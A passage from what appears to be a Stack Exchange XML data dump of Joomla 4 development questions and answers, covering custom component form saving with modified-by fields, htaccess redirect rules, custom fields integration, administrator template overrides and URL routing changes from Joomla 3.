class=&amp;quot;readonly&amp;quot;&#xA;        showtime=&amp;quot;true&amp;quot;&#xA;        translateformat=&amp;quot;true&amp;quot;&#xA;        format=&amp;quot;%d-%m-%Y %h:%i:%s&amp;quot;&#xA;        readonly=&amp;quot;true&amp;quot;&#xA;        filter=&amp;quot;unset&amp;quot;  &#xA;    /&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;id&amp;quot;&#xA;        type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Client ID&amp;quot;&#xA;        class=&amp;quot;readonly&amp;quot;&#xA;        default=&amp;quot;0&amp;quot;&#xA;        readonly=&amp;quot;true&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;state&amp;quot;&#xA;        type=&amp;quot;list&amp;quot;&#xA;        label=&amp;quot;Status&amp;quot;&#xA;        class=&amp;quot;form-select-color-state&amp;quot;&#xA;        default=&amp;quot;1&amp;quot;&#xA;        validate=&amp;quot;options&amp;quot;&#xA;        &amp;gt;&#xA;        &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JPUBLISHED&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JUNPUBLISHED&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JARCHIVED&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;-2&amp;quot;&amp;gt;JTRASHED&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;`    &#xA;&lt;p&gt;These are the functions in the Model for the page:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bluewater\Component\bwivisuals\Administrator\Model;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;&#xA;use Joomla\CMS\Date\Date;&#xA;use Joomla\CMS\Event\AbstractEvent;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Filter\InputFilter;&#xA;use Joomla\CMS\Filter\OutputFilter;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\Form\FormFactoryInterface;&#xA;use Joomla\CMS\Helper\TagsHelper;&#xA;use Joomla\CMS\Language\Associations;&#xA;use Joomla\CMS\Language\LanguageHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\MVC\Factory\MVCFactoryInterface;&#xA;use Joomla\CMS\MVC\Model\AdminModel;&#xA;use Joomla\CMS\MVC\Model\WorkflowBehaviorTrait;&#xA;use Joomla\CMS\MVC\Model\WorkflowModelInterface;&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\CMS\String\PunycodeHelper;&#xA;use Joomla\CMS\Table\TableInterface;&#xA;use Joomla\CMS\Tag\TaggableTableInterface;&#xA;use Joomla\CMS\UCM\UCMType;&#xA;use Joomla\CMS\Versioning\VersionableModelTrait;&#xA;use Joomla\CMS\Workflow\Workflow;&#xA;use Joomla\Component\Categories\Administrator\Helper\CategoriesHelper;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;use Joomla\Database\ParameterType;&#xA;use Joomla\Registry\Registry;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;/**&#xA; * Item Model for a Country.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;&#xA;class ClientModel extends AdminModel&#xA;{&#xA;    /**&#xA;     * The prefix to use with controller messages.&#xA;     *&#xA;     * @var    string&#xA;     * @since  1.6&#xA;     */&#xA;    protected $text_prefix = 'COM_BWIVISUALS_CLIENT';&#xA;&#xA;    /**&#xA;     * Method to get the record form.&#xA;     *&#xA;     * @param   array    $data      Data for the form.&#xA;     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.&#xA;     *&#xA;     * @return  Form|boolean  A Form object on success, false on failure&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function getForm($data = array(), $loadData = true)&#xA;    {&#xA;        // Get the form.&#xA;        $form = $this-&amp;gt;loadForm('com_bwivisuals.client', 'client', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;&#xA;        if (empty($form))&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        return $form;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the data that should be injected in the form.&#xA;     *&#xA;     * @return  mixed  The data for the form.&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    protected function loadFormData()&#xA;    {&#xA;        // Check the session for previously entered form data.&#xA;        $app = Factory::getApplication();&#xA;        $data = $app-&amp;gt;getUserState('com_bwivisuals.edit.client.data', array());&#xA;&#xA;        if (empty($data))&#xA;        {&#xA;            $data = $this-&amp;gt;getItem();&#xA;&#xA;        }&#xA;&#xA;        return $data;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get a table object, load it if necessary.&#xA;     *&#xA;     * @param   string  $name     The table name. Optional.&#xA;     * @param   string  $prefix   The class prefix. Optional.&#xA;     * @param   array   $options  Configuration array for model. Optional.&#xA;     *&#xA;     * @return  Table  A Table object&#xA;     *&#xA;     * @since   3.0&#xA;     * @throws  \Exception&#xA;     */&#xA;    public function getTable($name = '', $prefix = '', $options = array())&#xA;    {&#xA;        $name = 'Clients';&#xA;        $prefix = 'Table';&#xA;&#xA;        if ($table = $this-&amp;gt;_createTable($name, $prefix, $options))&#xA;        {&#xA;            return $table;&#xA;        }&#xA;&#xA;        throw new \Exception(Text::sprintf('JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED', $name), 0);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is the layout file, edit.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Layout\LayoutHelper;&#xA;use Joomla\CMS\Router\Route;&#xA;&#xA;&#xA;HTMLHelper::_('behavior.formvalidator');&#xA;HTMLHelper::_('behavior.keepalive');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form action=&amp;quot;&amp;lt;?php echo Route::_('index.php?option=com_mycomponents&amp;amp;view=client&amp;amp;layout=edit&amp;amp;id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&amp;quot;&#xA;    method=&amp;quot;post&amp;quot; name=&amp;quot;adminForm&amp;quot; id=&amp;quot;client-form&amp;quot; class=&amp;quot;form-validate&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', array('active' =&amp;gt; 'details')); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('Details')); ?&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;col-md-9&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;col-md-6&amp;quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('description'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('portal_name'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('primary_contact'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('email_address'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('modified_by'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('modified_on'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('id'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;col-md-3&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;card card-light&amp;quot;&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;card-body&amp;quot;&amp;gt;&#xA;                        &amp;lt;?php echo LayoutHelper::render('joomla.edit.global', $this); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php echo HTMLHelper::_('uitab.endTab'); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php echo HTMLHelper::_('uitab.endTabSet'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;&#xA;    &amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is the ClientController file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bluewater\Component\bwivisuals\Administrator\Controller;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\Controller\FormController;&#xA;&#xA;/**&#xA; * Controller for a single record&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class ClientController extends FormController&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the ClientsTable&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bluewater\Component\bwivisuals\Administrator\Table;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Table\Table;&#xA;use Joomla\Database\DatabaseDriver;&#xA;&#xA;/**&#xA; * Featured Table class.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class ClientsTable extends Table&#xA;{&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   DatabaseDriver  $db  Database connector object&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function __construct(DatabaseDriver $db)&#xA;    {&#xA;        parent::__construct('#__bwivisuals_clients', 'id', $db);&#xA;&#xA;        $this-&amp;gt;setColumnAlias('published', 'state');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I tried creating a ClientTable, but that didn't work&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bluewater\Component\bwivisuals\Administrator\Table;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Table\Table;&#xA;use Joomla\Database\DatabaseDriver;&#xA;&#xA;/**&#xA; * Featured Table class.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class ClientTable extends Table&#xA;{&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   DatabaseDriver  $db  Database connector object&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function store($updateNulls = false) {&#xA;    $this-&amp;gt;modified_by = Factory::getApplication()-&amp;gt;getIdentity()-&amp;gt;id;&#xA;    $this-&amp;gt;modified_on = date('Y-m-d H:i:s');&#xA;    &#xA;    return parent::store($updateNulls);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17157" LastEditorUserId="17157" LastEditDate="2023-07-02T03:11:25.157" LastActivityDate="2023-07-02T03:11:25.157" Title="J4 Component: Add Modified By and Modified On Database Record when using JForm and an AdminModel Model" Tags="|joomla-4.x|custom-component|form-fields-types|datetime|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33157" PostTypeId="2" ParentId="33156" CreationDate="2023-07-01T08:51:25.607" Score="0" Body="&lt;p&gt;The cut and paste of the last window of code, the view template, is missing the first part of the  element so I am not sure what you have got there and what you haven't however you normally need to call a &lt;code&gt;method&lt;/code&gt; in the &lt;code&gt;controller&lt;/code&gt; when the form is submitted.&lt;/p&gt;&#xA;&lt;p&gt;It can be in the action argument of the  element&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo Route::_('index.php?option=com_componentname&amp;amp;task=controlername.methodname'); ?&amp;gt;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or you can do it as part of the  element which I can see you have in your example.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;controlername.methodname&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also you can do it via a toolbar button in the back-end and if you have used Toolbars in the front end it works the same.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;toolbar-&amp;gt;standardButton('Save')&#xA;            -&amp;gt;task('controlername.methodname')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or the slightly different example used by a lot of the core features toolbars&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;toolbar-&amp;gt;save('controlername.methodname');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Provided that your Controller extends &lt;code&gt;FormController&lt;/code&gt;, eg. &lt;code&gt;class BannerController extends FormController&lt;/code&gt;,then there is already a default &lt;code&gt;save()&lt;/code&gt; method available to you. Thus in the examples above the task or action would be &lt;code&gt;controllername.save&lt;/code&gt;. Or you may want to do some other processing first before you call the &lt;code&gt;save()&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;p&gt;The first parts of the default save() method of FormController gives you some clues as to what is happening.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function save($key = null, $urlVar = null)&#xA;    {&#xA;        // Check for request forgeries.&#xA;        $this-&amp;gt;checkToken();&#xA;&#xA;        $app     = $this-&amp;gt;app;&#xA;        $model   = $this-&amp;gt;getModel();&#xA;        $table   = $model-&amp;gt;getTable();&#xA;        $data    = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', [], 'array');&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The $data gets the field values from your Form via the Input while the $model is the path to $table and it is your Table class that is going to do the actual saving of the data and some basic validation etc. Have a look at &lt;code&gt;..\libraries\src\Table\Table.php&lt;/code&gt; for more detail.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-07-01T08:51:25.607" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33158" PostTypeId="2" ParentId="33156" CreationDate="2023-07-01T18:33:24.863" Score="2" Body="&lt;p&gt;With the default implementations, that is using classes that inherit from &lt;code&gt;FormController&lt;/code&gt; and &lt;code&gt;FormModel&lt;/code&gt;, your form data will be submitted to your controller, passed to your model first and then passed to your &lt;code&gt;Table&lt;/code&gt; class to perform the actual save.&lt;/p&gt;&#xA;&lt;p&gt;I would suggest that the correct place to put code for your specific requirement should be within the store() method of your &lt;code&gt;Table&lt;/code&gt; class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function store($updateNulls = false) {&#xA;    $this-&amp;gt;modified_by = Factory::getApplication()-&amp;gt;getIdentity()-&amp;gt;id;&#xA;    $this-&amp;gt;modified_on = date('Y-m-d H:i:s');&#xA;    &#xA;    return parent::store($updateNulls);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the last point before the record is actually written to the database, using the inherited methods, so should catch writes from anywhere in the application. However, it is still possible to write the record directly to the database without using the &lt;code&gt;Table&lt;/code&gt; methods, which would bypass the modified fields and not cause them to be updated. This is a design consideration when writing your component and any code associated with the database table.&lt;/p&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2023-07-01T18:33:24.863" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="33159" PostTypeId="2" ParentId="33147" CreationDate="2023-07-01T22:42:11.630" Score="2" Body="&lt;p&gt;If I'm now reading your question and comments correctly, what you're looking for is some htaccess rewrite rules that will redirect requests that include ids to the URLs that don't have ids - a request to &lt;code&gt;/133-locally/1984-ukraine-how-lymington-and-the-new-forest-can-help&lt;/code&gt; should be redirected to &lt;code&gt;/locally/ukraine-how-lymington-and-the-new-forest-can-help&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;These should do the trick:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;#exclude images and media folders&#xA;RewriteCond %{REQUEST_URI} ^/(images/|media/)&#xA;RewriteRule . - [S=4]&#xA;&#xA;#Requests in format /133-locally/1984-ukraine-how-lymington-and-the-new-forest-can-help&#xA;RewriteRule ^(?:\d+-)([^\/]*)\/(?:\d+-)(.*)$ /$1/$2 [R=301,L]&#xA;&#xA;#Requests in format /133-locally&#xA;RewriteRule ^(?:\d+-)([^\/]*)(.*)$ /$1/$2 [R=301,L]&#xA;&#xA;#Requests in format /news/133-locally/1984-ukraine-how-lymington-and-the-new-forest-can-help&#xA;RewriteRule ^(.*)(?:\/\d+-)([^\/]*)\/(?:\d+-)(.*)$ /$1/$2/$3 [R=301,L]&#xA;&#xA;#Requests in format /news/133-locally&#xA;RewriteRule ^(.*)(?:\/\d+-)([^\/]*)(.*)$ /$1/$2/$3 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using all four rules should result in redirection for categories and articles either linked to the root or within a menu item/subdirectory.&lt;/p&gt;&#xA;&lt;p&gt;Additional rules would be required if there are any nested categories in use, e.g. &lt;code&gt;/133-locally/1234-community-support/1984-ukraine-how-lymington-and-the-new-forest-can-help&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13268" LastEditorUserId="13268" LastEditDate="2023-07-04T16:46:18.023" LastActivityDate="2023-07-04T16:46:18.023" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33160" PostTypeId="1" CreationDate="2023-07-04T12:52:52.027" Score="0" ViewCount="38" Body="&lt;p&gt;Is it possible to email an individual user from within the Joomla 4 admin area?&lt;/p&gt;&#xA;&lt;p&gt;Preferably without using a paid plugin.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2024-03-30T21:08:41.103" Title="Joomla 4 Email Single User" Tags="|joomla-4.x|user|emails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33161" PostTypeId="2" ParentId="33160" CreationDate="2023-07-04T20:49:50.230" Score="0" Body="&lt;p&gt;@James has given the answer in his comment.&lt;/p&gt;&#xA;&lt;p&gt;But just to elaborate, on the administrator menu go to&lt;/p&gt;&#xA;&lt;p&gt;Users / Messaging / Private Messages&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-04T20:49:50.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33162" PostTypeId="1" CreationDate="2023-07-05T14:09:17.410" Score="0" ViewCount="159" Body="&lt;p&gt;I'm curently developing a (free) Custom Joomla 4.x component. Now im struggeling while implementing Custom Fields support for my first (and currently only) context. The issue is that the &amp;quot;Fields&amp;quot; tab does not get showed in the backend when editing a &amp;quot;location&amp;quot;. I've followed the guide by astrid on how to create a component.&lt;/p&gt;&#xA;&lt;p&gt;It's the third time I create a component for joomla 4 and as far as i can see i've done everything similar to the others i've already created. I did not spot the issue here.&lt;/p&gt;&#xA;&lt;p&gt;Could please someone check my repo here: &lt;a href=&quot;https://github.com/marcorensch/com_footballmanager_2&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt; and tell me what i am doing wrong?&lt;/p&gt;&#xA;&lt;p&gt;thanks for your help&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've added the mentioned changes (thanks for that) and updated the repo, still no effect on the edit view for a location...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;class FootballmanagerComponent extends MVCComponent implements FieldsServiceInterface&#xA;&#xA;...&#xA;&#xA;public function validateSection($section, $item = null)&#xA;    {&#xA;        if (Factory::getApplication()-&amp;gt;isClient('site') &amp;amp;&amp;amp; $section === 'form')&#xA;        {&#xA;            return 'footballmanager';&#xA;        }&#xA;&#xA;        if ($section !== 'footballmanager' &amp;amp;&amp;amp; $section !== 'form')&#xA;        {&#xA;            return null;&#xA;        }&#xA;&#xA;        return $section;&#xA;    }&#xA;&#xA;    public function getContexts(): array&#xA;    {&#xA;        Factory::getApplication()-&amp;gt;getLanguage()-&amp;gt;load('com_footballmanager', JPATH_ADMINISTRATOR);&#xA;&#xA;        $contexts = array(&#xA;            'com_footballmanager.location' =&amp;gt; Text::_('COM_FOOTBALLMANAGER_LOCATION'),&#xA;//          'com_helloworld.categories' =&amp;gt; JText::_('JCATEGORY')&#xA;        );&#xA;&#xA;        return $contexts;&#xA;    }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I see when i add fields for this component there is no &amp;quot;category&amp;quot; input in the fields that looks a bit suspicious to me.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2023-07-06T14:27:56.217" LastActivityDate="2023-07-06T14:27:56.217" Title="Joomla 4 Custom Component &gt; Custom Fields Integration" Tags="|joomla-4.x|custom-component|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33163" PostTypeId="2" ParentId="33155" CreationDate="2023-07-05T15:12:15.983" Score="0" Body="&lt;p&gt;Yes, you can use a administrator template override to change the presentation of the form which captures plugin options.&lt;/p&gt;&#xA;&lt;p&gt;When you're editing plugin options you have a URL like &lt;code&gt;.../administrator/index.php?option=com_plugins&amp;amp;view=plugin&amp;amp;layout=edit&amp;amp;extension_id=...&lt;/code&gt; and this provides an indication of which file is outputting the html:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;administrator&lt;/li&gt;&#xA;&lt;li&gt;component = com_plugins&lt;/li&gt;&#xA;&lt;li&gt;view = plugin&lt;/li&gt;&#xA;&lt;li&gt;layout = edit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So the file is in administrator/components/com_plugins/tmpl/plugin/edit.php.&lt;/p&gt;&#xA;&lt;p&gt;You can create an override of this by going via System / Administrator Templates and clicking on Atum Details and Files (or whatever admin template you're using), and then Create Overrides tab, Components / com_plugins/plugin.&lt;/p&gt;&#xA;&lt;p&gt;You can then edit this edit.php file by going to the Editor tab and expanding down the html folder below /administrator/templates/atum.&lt;/p&gt;&#xA;&lt;p&gt;If you're just changing the presentation using CSS then you can easily just insert a class into the enclosing &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; of the form, and that will allow you to address elements within the form.&lt;/p&gt;&#xA;&lt;p&gt;If you're looking to perform more structural changes then you may need to change one of the layouts used within the form. For example the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo LayoutHelper::render('joomla.edit.global', $this); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;outputs the Status, Access, Ordering, ... parameters on the right hand side. So to change this you'd have to create an override of that layout as well. However, that layout is used multiple times in joomla, so to apply changes to it for just the plugins form you could copy the override file (administrator/templates/atum/html/layouts/joomla/edit/global.php) into another file myglobal.php in the same directory. Then you can change your line in the edit.php file to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo LayoutHelper::render('joomla.edit.myglobal', $this); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I wasn't sure from your question whether you wanted to change the options presentation of all plugins, or of all plugins of type=&amp;quot;system&amp;quot;, or of just your own system plugin which you wrote. If you use a debugger and break at a point in your override edit.php file then you can see that the plugin data is available via &lt;code&gt;$this-&amp;gt;item&lt;/code&gt;, and you can use the fields of this variable to control how the html output is changed, eg&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;type&lt;/code&gt; should be set to &amp;quot;plugin&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;folder&lt;/code&gt; folder where the plugin is found, equating to the type of the plugin&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;name&lt;/code&gt; name of the plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-05T15:12:15.983" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33164" PostTypeId="2" ParentId="33162" CreationDate="2023-07-05T16:11:08.273" Score="2" Body="&lt;p&gt;At first glance you're missing the &lt;code&gt;getContexts&lt;/code&gt; and &lt;code&gt;validateSection&lt;/code&gt; methods which you should have in your extension class. Your extension class also needs to implement &lt;code&gt;Joomla\CMS\Fields\FieldsServiceInterface&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla 3 MVC Tutorial description of how to include custom fields is at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Custom_Fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Custom_Fields&lt;/a&gt; and the changes from this to Joomla 4 are described at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#com_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#com_fields&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-05T16:11:08.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33165" PostTypeId="1" CreationDate="2023-07-06T10:25:24.087" Score="0" ViewCount="73" Body="&lt;p&gt;I've copied the exact menus and menu structured over from a J3 website to a J4 website but the resulting URL tree is generating differently on the J4 site.&lt;/p&gt;&#xA;&lt;p&gt;For example the old J3 URL is: &lt;a href=&quot;https://old.lymington.com/**lymington-life**/arts-in-lymington&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.lymington.com/**lymington-life**/arts-in-lymington&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The exact same menu structure J4 generates:  &lt;a href=&quot;https://dev.lymington.com/lymington-life/arts-in-lymington&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.lymington.com/lymington-life/arts-in-lymington&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At this point they are the same, if you then click on an article,&lt;/p&gt;&#xA;&lt;p&gt;J3 gives the URL:&lt;a href=&quot;https://old.lymington.com/**lymington-life**/**leisure-sport**/131-leisure/1673-lymington-lido-mark-hugh-may20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.lymington.com/**lymington-life**/**leisure-sport**/131-leisure/1673-lymington-lido-mark-hugh-may20&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;J4 gives the URL:&lt;a href=&quot;https://dev.lymington.com/**lymington**/131-leisure/1673-lymington-lido-mark-hugh-may20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.lymington.com/**lymington**/131-leisure/1673-lymington-lido-mark-hugh-may20&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In j4 the &lt;strong&gt;lymington&lt;/strong&gt; is generated from a hidden menu item (article category view) created to show the category in the URL rather than a query string. This works fine in J3 but in J4 it is being added to the URL instead of the parent url/category.&lt;/p&gt;&#xA;&lt;p&gt;I know I'm not really explaining this too well.&lt;/p&gt;&#xA;&lt;p&gt;Any help or if I can provide any extra information, please do ask. This has been frying my brain.&lt;/p&gt;&#xA;&lt;p&gt;After a bit more thinking, I think the easiest way would be to rewrite all URLs from this structure:&#xA;&lt;a href=&quot;https://old.lymington.com/**lymington-life**/**leisure-sport**/131-leisure/1673-lymington-lido-mark-hugh-may20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.lymington.com/**lymington-life**/**leisure-sport**/131-leisure/1673-lymington-lido-mark-hugh-may20&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To remove/redirect the &lt;strong&gt;leisure-sport/&lt;/strong&gt; part of the URL so the resulting redirect would point to: lymington.com/&lt;strong&gt;lymington-life&lt;/strong&gt;/131-leisure/1673-lymington-lido-mark-hugh-may20&lt;/p&gt;&#xA;&lt;p&gt;Kind Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2023-07-06T12:17:53.977" LastActivityDate="2023-08-08T15:05:09.407" Title="Joomla 4 - change in way URLs generated compared to Joomla 3" Tags="|joomla-3.x|joomla-4.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
